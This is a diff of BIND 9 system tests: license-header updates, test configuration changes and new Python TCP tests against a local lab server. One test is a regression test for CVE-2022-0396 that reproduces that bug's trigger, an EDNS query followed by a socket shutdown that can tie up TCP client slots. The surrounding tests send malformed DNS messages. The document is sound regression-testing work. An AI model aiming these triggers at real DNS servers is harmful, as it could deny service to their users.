+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,13 +20,14 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify yes;
 	statistics-file "named.stats";
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/tcp/ns1/root.db b/bin/tests/system/tcp/ns1/root.db
index dab5cea7f7..17780d13f0 100644
--- a/bin/tests/system/tcp/ns1/root.db
+++ b/bin/tests/system/tcp/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/tcp/ns2/example.db b/bin/tests/system/tcp/ns2/example.db
index 4a3f33fb98..4d60ce3011 100644
--- a/bin/tests/system/tcp/ns2/example.db
+++ b/bin/tests/system/tcp/ns2/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/tcp/ns2/named.conf.in b/bin/tests/system/tcp/ns2/named.conf.in
index 7751f7e095..0a97093192 100644
--- a/bin/tests/system/tcp/ns2/named.conf.in
+++ b/bin/tests/system/tcp/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,13 +20,14 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 	statistics-file "named.stats";
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/tcp/ns3/named.conf.in b/bin/tests/system/tcp/ns3/named.conf.in
index 282bb2cdfb..8516d721bb 100644
--- a/bin/tests/system/tcp/ns3/named.conf.in
+++ b/bin/tests/system/tcp/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,6 +21,7 @@ options {
 	listen-on { 10.53.0.3; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 };
 
@@ -26,7 +29,7 @@ server 10.53.0.1 { tcp-only yes; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/tcp/ns4/named.conf.in b/bin/tests/system/tcp/ns4/named.conf.in
index e6c7c22958..a7758cc9e9 100644
--- a/bin/tests/system/tcp/ns4/named.conf.in
+++ b/bin/tests/system/tcp/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,6 +21,7 @@ options {
 	listen-on { 10.53.0.4; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 	forwarders { 10.53.0.2; };
 	forward only;
@@ -28,7 +31,7 @@ server 10.53.0.2 { tcp-only yes; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/tcp/ns5/named.conf.in b/bin/tests/system/tcp/ns5/named.conf.in
index b2f27577cd..bd754f714b 100644
--- a/bin/tests/system/tcp/ns5/named.conf.in
+++ b/bin/tests/system/tcp/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,7 +15,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/tcp/ns7/named.conf.in b/bin/tests/system/tcp/ns7/named.conf.in
new file mode 100644
index 0000000000..b52891eab0
--- /dev/null
+++ b/bin/tests/system/tcp/ns7/named.conf.in
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.7;
+	notify-source 10.53.0.7;
+	transfer-source 10.53.0.7;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.7; };
+	listen-on-v6 { none; };
+	recursion no;
+	dnssec-validation no;
+	notify yes;
+	statistics-file "named.stats";
+	tcp-clients 1;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.7 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "." {
+	type primary;
+	file "root.db";
+};
diff --git a/bin/tests/system/tcp/ns7/named.dropedns b/bin/tests/system/tcp/ns7/named.dropedns
new file mode 100644
index 0000000000..37dd9cf1ea
--- /dev/null
+++ b/bin/tests/system/tcp/ns7/named.dropedns
@@ -0,0 +1 @@
+dropedns
diff --git a/bin/tests/system/tcp/ns7/root.db b/bin/tests/system/tcp/ns7/root.db
new file mode 100644
index 0000000000..bb31741496
--- /dev/null
+++ b/bin/tests/system/tcp/ns7/root.db
@@ -0,0 +1,24 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+. 			IN SOA	gson.nominum.com. a.root.servers.nil. (
+				2000042100   	; serial
+				600         	; refresh
+				600         	; retry
+				1200    	; expire
+				600       	; minimum
+				)
+.			NS	a.root-servers.nil.
+a.root-servers.nil.	A	10.53.0.7
+
+example.		NS	ns2.example.
+ns2.example.		A	10.53.0.2
diff --git a/bin/tests/system/tcp/setup.sh b/bin/tests/system/tcp/setup.sh
index 7c36ad0548..475f399048 100644
--- a/bin/tests/system/tcp/setup.sh
+++ b/bin/tests/system/tcp/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -18,3 +20,4 @@ copy_setports ns2/named.conf.in ns2/named.conf
 copy_setports ns3/named.conf.in ns3/named.conf
 copy_setports ns4/named.conf.in ns4/named.conf
 copy_setports ns5/named.conf.in ns5/named.conf
+copy_setports ns7/named.conf.in ns7/named.conf
diff --git a/bin/tests/system/tcp/tests.sh b/bin/tests/system/tcp/tests.sh
index 4faadaa1cb..12ca6790d6 100644
--- a/bin/tests/system/tcp/tests.sh
+++ b/bin/tests/system/tcp/tests.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/tcp/tests_sh_tcp.py b/bin/tests/system/tcp/tests_sh_tcp.py
new file mode 100644
index 0000000000..b1d797c321
--- /dev/null
+++ b/bin/tests/system/tcp/tests_sh_tcp.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_tcp(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/tcp/tests_tcp.py b/bin/tests/system/tcp/tests_tcp.py
new file mode 100644
index 0000000000..f6161946ff
--- /dev/null
+++ b/bin/tests/system/tcp/tests_tcp.py
@@ -0,0 +1,134 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# pylint: disable=unused-variable
+
+import socket
+import struct
+import time
+
+import pytest
+
+pytest.importorskip("dns", minversion="2.0.0")
+import dns.message
+import dns.query
+
+
+TIMEOUT = 10
+
+
+def create_msg(qname, qtype, edns=-1):
+    msg = dns.message.make_query(qname, qtype, use_edns=edns)
+    return msg
+
+
+def timeout():
+    return time.time() + TIMEOUT
+
+
+def create_socket(host, port):
+    sock = socket.create_connection((host, port), timeout=10)
+    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, True)
+    return sock
+
+
+def test_tcp_garbage(named_port):
+    with create_socket("10.53.0.7", named_port) as sock:
+        msg = create_msg("a.example.", "A")
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+        wire = msg.to_wire()
+        assert len(wire) > 0
+
+        # Send DNS message shorter than DNS message header (12),
+        # this should cause the connection to be terminated
+        sock.send(struct.pack("!H", 11))
+        sock.send(struct.pack("!s", b"0123456789a"))
+
+        with pytest.raises(EOFError):
+            try:
+                (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+                (response, rtime) = dns.query.receive_tcp(sock, timeout())
+            except ConnectionError as e:
+                raise EOFError from e
+
+
+def test_tcp_garbage_response(named_port):
+    with create_socket("10.53.0.7", named_port) as sock:
+        msg = create_msg("a.example.", "A")
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+        wire = msg.to_wire()
+        assert len(wire) > 0
+
+        # Send DNS response instead of DNS query, this should cause
+        # the connection to be terminated
+
+        rmsg = dns.message.make_response(msg)
+        (sbytes, stime) = dns.query.send_tcp(sock, rmsg, timeout())
+
+        with pytest.raises(EOFError):
+            try:
+                (response, rtime) = dns.query.receive_tcp(sock, timeout())
+            except ConnectionError as e:
+                raise EOFError from e
+
+
+# Regression test for CVE-2022-0396
+def test_close_wait(named_port):
+    with create_socket("10.53.0.7", named_port) as sock:
+        msg = create_msg("a.example.", "A")
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+        msg = dns.message.make_query("a.example.", "A", use_edns=0, payload=1232)
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+
+        # Shutdown the socket, but ignore the other side closing the socket
+        # first because we sent DNS message with EDNS0
+        try:
+            sock.shutdown(socket.SHUT_RDWR)
+        except ConnectionError:
+            pass
+        except OSError:
+            pass
+
+    # BIND allows one TCP client, the part above sends DNS messaage with EDNS0
+    # after the first query. BIND should react adequately because of
+    # ns7/named.dropedns and close the socket, making room for the next
+    # request. If it gets stuck in CLOSE_WAIT state, there is no connection
+    # available for the query below and it will time out.
+    with create_socket("10.53.0.7", named_port) as sock:
+        msg = create_msg("a.example.", "A")
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+
+# GL #4273
+def test_tcp_big(named_port):
+    with create_socket("10.53.0.7", named_port) as sock:
+        msg = dns.message.Message(id=0)
+        msg.flags = dns.flags.RD
+        msg.question.append(dns.rrset.from_text(dns.name.root, 0, 1, "URI"))
+        msg.additional.append(
+            dns.rrset.from_text(dns.name.root, 0, 1, "URI", "0 0 " + "b" * 65503)
+        )
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+        # Now check that the server is alive and well
+        msg = create_msg("a.example.", "A")
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
diff --git a/bin/tests/system/testcrypto.sh b/bin/tests/system/testcrypto.sh
old mode 100644
new mode 100755
index 137de4ee8e..ceaaf3726a
--- a/bin/tests/system/testcrypto.sh
+++ b/bin/tests/system/testcrypto.sh
@@ -1,73 +1,95 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-. ../conf.sh
-
 prog=$0
-
 args=""
-alg="-a $DEFAULT_ALGORITHM -b $DEFAULT_BITS"
 quiet=0
-
+dir=""
 msg="cryptography"
+
+if test -z "$KEYGEN"; then
+    . ../conf.sh
+    alg="-a $DEFAULT_ALGORITHM -b $DEFAULT_BITS"
+else
+    alg=""
+    quiet=1
+    args="-q"
+fi
+
 while test "$#" -gt 0; do
-        case $1 in
-        -q)
-                args="$args -q"
-                quiet=1
-                ;;
-        rsa|RSA)
-                alg="-a RSASHA1"
-                msg="RSA cryptography"
-                ;;
-	rsasha256|RSASHA256)
-                alg="-a RSASHA256"
-                msg="RSA cryptography"
-                ;;
-	rsasha512|RSASHA512)
-                alg="-a RSASHA512"
-                msg="RSA cryptography"
-                ;;
-        ecdsa|ECDSA|ecdsap256sha256|ECDSAP256SHA256)
-                alg="-a ECDSAP256SHA256"
-                msg="ECDSA cryptography"
-                ;;
-        ecdsap384sha384|ECDSAP384SHA384)
-                alg="-a ECDSAP384SHA384"
-                msg="ECDSA cryptography"
-                ;;
-        eddsa|EDDSA|ed25519|ED25519)
-                alg="-a ED25519"
-                msg="EDDSA cryptography"
-                ;;
-        ed448|ED448)
-                alg="-a ED448"
-                msg="EDDSA cryptography"
-                ;;
-        *)
-                echo "${prog}: unknown argument"
-                exit 1
-                ;;
-        esac
-        shift
+    case $1 in
+    -q)
+        if test $quiet -eq 0; then
+            args="$args -q"
+            quiet=1
+        fi
+        ;;
+    rsa|RSA|rsasha1|RSASHA1)
+        alg="-a RSASHA1"
+        msg="RSA cryptography"
+        ;;
+    rsasha256|RSASHA256)
+        alg="-a RSASHA256"
+        msg="RSA cryptography"
+        ;;
+    rsasha512|RSASHA512)
+        alg="-a RSASHA512"
+        msg="RSA cryptography"
+        ;;
+    ecdsa|ECDSA|ecdsap256sha256|ECDSAP256SHA256)
+        alg="-a ECDSAP256SHA256"
+        msg="ECDSA cryptography"
+        ;;
+    ecdsap384sha384|ECDSAP384SHA384)
+        alg="-a ECDSAP384SHA384"
+        msg="ECDSA cryptography"
+        ;;
+    eddsa|EDDSA|ed25519|ED25519)
+        alg="-a ED25519"
+        msg="EDDSA cryptography"
+        ;;
+    ed448|ED448)
+        alg="-a ED448"
+        msg="EDDSA cryptography"
+        ;;
+    *)
+        echo "${prog}: unknown argument"
+        exit 1
+        ;;
+    esac
+    shift
 done
 
+if test -z "$alg"; then
+    echo "${prog}: no algorithm selected"
+    exit 1
+fi
+
+if test -n "$TMPDIR"; then
+    dir=$(mktemp -d "$TMPDIR/XXXXXX")
+    args="$args -K $dir"
+fi
+
 if $KEYGEN $args $alg foo > /dev/null 2>&1
 then
-    rm -f Kfoo*
+    if test -z "$dir"; then
+        rm -f Kfoo*
+    else
+        rm -rf "$dir"
+    fi
 else
     if test $quiet -eq 0; then
         echo_i "This test requires support for $msg" >&2
-        echo_i "configure with --with-openssl, or --enable-native-pkcs11" \
-            "--with-pkcs11" >&2
     fi
     exit 255
 fi
diff --git a/bin/tests/system/testsock.pl b/bin/tests/system/testsock.pl
index 57cabc44b8..e793874d93 100755
--- a/bin/tests/system/testsock.pl
+++ b/bin/tests/system/testsock.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,6 +15,8 @@
 
 require 5.001;
 
+use Cwd 'abs_path';
+use File::Basename;
 use Socket;
 use Getopt::Long;
 
@@ -25,7 +29,16 @@
 if ($id != 0) {
 	@ids = ($id);
 } else {
-	@ids = (1..8);
+	my $dir = dirname(abs_path($0));
+	my $fn = "$dir/ifconfig.sh.in";
+	open FH, "< $fn" or die "open < $fn: $!\n";
+	while (<FH>) {
+		@ids = (1..$1)
+		    if /^max=(\d+)\s*$/;
+	}
+	close FH;
+	die "could not find max IP address in $fn\n"
+	    unless @ids > 1;
 }
 
 foreach $id (@ids) {
diff --git a/bin/tests/system/testsock6.pl b/bin/tests/system/testsock6.pl
index 9071fdf54e..59036849a4 100644
--- a/bin/tests/system/testsock6.pl
+++ b/bin/tests/system/testsock6.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/testsummary.sh b/bin/tests/system/testsummary.sh
deleted file mode 100644
index 649b9973ec..0000000000
--- a/bin/tests/system/testsummary.sh
+++ /dev/null
@@ -1,89 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# Creates the system tests output file from the various test.output.* files.  It
-# then searches that file and prints the number of tests passed, failed, not
-# run.  It also checks whether the IP addresses 10.53.0.[1-8] were set up and,
-# if not, prints a warning.
-#
-# Usage:
-#    testsummary.sh [-n]
-#
-# -n	Do NOT delete the individual test.output.* files after concatenating
-#	them into systests.output.
-#
-# Status return:
-# 0 - no tests failed
-# 1 - one or more tests failed
-
-. ./conf.sh
-
-keepfile=0
-
-while getopts "n" flag; do
-    case $flag in
-	n) keepfile=1 ;;
-	*) exit 1 ;;
-    esac
-done
-
-if [ "$(find . -name 'test.output.*' 2>/dev/null | wc -l)" -eq 0 ]; then
-    echowarn "I:No 'test.output.*' files were found."
-    echowarn "I:Printing summary from pre-existing 'systests.output'."
-else
-    cat test.output.* > systests.output
-    if [ $keepfile -eq 0 ]; then
-        rm -f test.output.*
-    fi
-fi
-
-if [ ! -f systests.output ]; then
-    echowarn "I:No 'systests.output' file found."
-    exit 1
-fi
-
-status=0
-echoinfo "I:System test result summary:"
-echoinfo "$(grep 'R:[a-z0-9_-][a-z0-9_-]*:[A-Z][A-Z]*' systests.output | cut -d':' -f3 | sort | uniq -c | sed -e 's/^/I:/')"
-
-FAILED_TESTS=$(grep 'R:[a-z0-9_-][a-z0-9_-]*:FAIL' systests.output | cut -d':' -f2 | sort | sed -e 's/^/I:      /')
-if [ -n "${FAILED_TESTS}" ]; then
-	echoinfo "I:The following system tests failed:"
-	echoinfo "${FAILED_TESTS}"
-	status=1
-fi
-
-CRASHED_TESTS=$(find . \( -name 'core' -or -name 'core.*' -or -name '*.core' \) ! -name '*.txt' | cut -d'/' -f2 | sort -u | sed -e 's/^/I:      /')
-if [ -n "${CRASHED_TESTS}" ]; then
-	echoinfo "I:Core dumps were found for the following system tests:"
-	echoinfo "${CRASHED_TESTS}"
-fi
-
-ASSERTION_FAILED_TESTS=$(find . -name named.run -print0 | xargs -0 grep "assertion failure" | cut -d'/' -f2 | sort -u | sed -e 's/^/I:      /')
-if [ -n "${ASSERTION_FAILED_TESTS}" ]; then
-	echoinfo "I:Assertion failures were detected for the following system tests:"
-	echoinfo "${ASSERTION_FAILED_TESTS}"
-fi
-
-TSAN_REPORT_TESTS=$(find . -name 'tsan.*' | cut -d'/' -f2 | sort -u | sed -e 's/^/I:      /')
-if [ -n "${TSAN_REPORT_TESTS}" ]; then
-	echoinfo "I:ThreadSanitizer reported issues for the following system tests:"
-	echoinfo "${TSAN_REPORT_TESTS}"
-fi
-
-RESULTS_FOUND=$(grep -c 'R:[a-z0-9_-][a-z0-9_-]*:[A-Z][A-Z]*' systests.output)
-TESTS_RUN=$(echo "${SUBDIRS}" | wc -w)
-if [ "${RESULTS_FOUND}" -ne "${TESTS_RUN}" ]; then
-	echofail "I:Found ${RESULTS_FOUND} test results, but ${TESTS_RUN} tests were run"
-	status=1
-fi
-
-exit $status
diff --git a/bin/tests/system/timeouts/clean.sh b/bin/tests/system/timeouts/clean.sh
index 75fa7ecfd0..0da8a9c25f 100644
--- a/bin/tests/system/timeouts/clean.sh
+++ b/bin/tests/system/timeouts/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/timeouts/conftest.py b/bin/tests/system/timeouts/conftest.py
deleted file mode 100644
index 368fe9c407..0000000000
--- a/bin/tests/system/timeouts/conftest.py
+++ /dev/null
@@ -1,59 +0,0 @@
-############################################################################
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-############################################################################
-
-import os
-import pytest
-
-
-def pytest_configure(config):
-    config.addinivalue_line(
-        "markers", "dnspython: mark tests that need dnspython to function"
-    )
-    config.addinivalue_line(
-        "markers", "dnspython2: mark tests that need dnspython >= 2.0.0"
-    )
-
-
-def pytest_collection_modifyitems(config, items):
-    # pylint: disable=unused-argument,unused-import,too-many-branches
-    # pylint: disable=import-outside-toplevel
-
-    # Test for dnspython module
-    skip_dnspython = pytest.mark.skip(
-        reason="need dnspython module to run")
-    try:
-        import dns.query  # noqa: F401
-    except ModuleNotFoundError:
-        for item in items:
-            if "dnspython" in item.keywords:
-                item.add_marker(skip_dnspython)
-
-    # Test for dnspython >= 2.0.0 module
-    skip_dnspython2 = pytest.mark.skip(
-        reason="need dnspython >= 2.0.0 module to run")
-    try:
-        from dns.query import send_tcp  # noqa: F401
-    except ImportError:
-        for item in items:
-            if "dnspython2" in item.keywords:
-                item.add_marker(skip_dnspython2)
-
-
-@pytest.fixture
-def port(request):
-    # pylint: disable=unused-argument
-    env_port = os.getenv("PORT")
-    if port is None:
-        env_port = 5300
-    else:
-        env_port = int(env_port)
-
-    return env_port
diff --git a/bin/tests/system/timeouts/ns1/example.db b/bin/tests/system/timeouts/ns1/example.db
index 310a31b5ca..cb321ff66e 100644
--- a/bin/tests/system/timeouts/ns1/example.db
+++ b/bin/tests/system/timeouts/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/timeouts/ns1/named.args b/bin/tests/system/timeouts/ns1/named.args
index 2df2be2737..437a77f0f4 100644
--- a/bin/tests/system/timeouts/ns1/named.args
+++ b/bin/tests/system/timeouts/ns1/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 1 -D timeouts-ns1 -X named.lock -g -T maxcachesize=2097152
+-m record -c named.conf -d 1 -D timeouts-ns1 -X named.lock -g -T maxcachesize=2097152
diff --git a/bin/tests/system/timeouts/ns1/named.conf.in b/bin/tests/system/timeouts/ns1/named.conf.in
index 7923524985..1c4654984a 100644
--- a/bin/tests/system/timeouts/ns1/named.conf.in
+++ b/bin/tests/system/timeouts/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -23,10 +25,14 @@ options {
 	pid-file "named.pid";
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
+	dnssec-validation no;
 	recursion no;
 	notify no;
 	tcp-initial-timeout 20;
 	tcp-idle-timeout 50;
+	tcp-keepalive-timeout 70;
+	max-transfer-time-out 5; /* minutes */
+	max-transfer-idle-out 1; /* minutes */
 };
 
 zone "." {
diff --git a/bin/tests/system/timeouts/ns1/root.db b/bin/tests/system/timeouts/ns1/root.db
index 2c481ea7f2..cb48acd3f6 100644
--- a/bin/tests/system/timeouts/ns1/root.db
+++ b/bin/tests/system/timeouts/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
